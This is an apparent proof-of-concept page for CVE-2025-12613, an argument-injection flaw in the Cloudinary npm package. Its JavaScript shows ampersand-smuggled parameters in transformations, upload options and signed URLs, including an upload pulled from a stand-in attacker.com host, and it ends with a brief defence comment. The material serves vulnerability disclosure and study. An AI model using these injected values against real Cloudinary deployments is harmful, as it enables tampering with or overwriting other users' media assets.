CVE-2025-12613: Cloudinary npm包任意参数注入漏洞

// CVE-2025-12613 PoC - Arbitrary Argument Injection in Cloudinary // This PoC demonstrates how an attacker can inject additional parameters // by including an ampersand (&) in parameter values const cloudinary = require('cloudinary').v2; // Malicious configuration with injected parameter // The '&width=999' will be parsed as a separate parameter const maliciousConfig = { transformation: 'w_100&width=999&c_override', // Alternatively, the vulnerability can be triggered via upload parameters public_id: 'test&admin=true' }; // Attack scenario 1: Image transformation parameter injection cloudinary.url('test.jpg', { transformation: [ { width: 100, crop: 'scale' }, { overlay: 'logo&gravity=center' } // Injected parameter ] }); // Attack scenario 2: Upload parameter injection cloudinary.uploader.upload('https://attacker.com/malicious.jpg', { public_id: 'user_upload&mode=overwrite', folder: 'public&transformation=fl_ignore_aspect_ratio' }, function(error, result) { if (error) console.error('Upload error:', error); console.log('Upload result:', result); }); // Attack scenario 3: Signed URL manipulation // If an attacker knows a signed URL, they can inject parameters // Original: https://res.cloudinary.com/demo/image/upload/w_300/samples/bird.jpg // Malicious: https://res.cloudinary.com/demo/image/upload/w_300&h_999/samples/bird.jpg // The &h_999 will be interpreted as an additional height parameter // Defense: Always sanitize and validate parameter values before use // Implement proper URL encoding and parameter validation console.log('PoC demonstrates parameter injection vulnerability');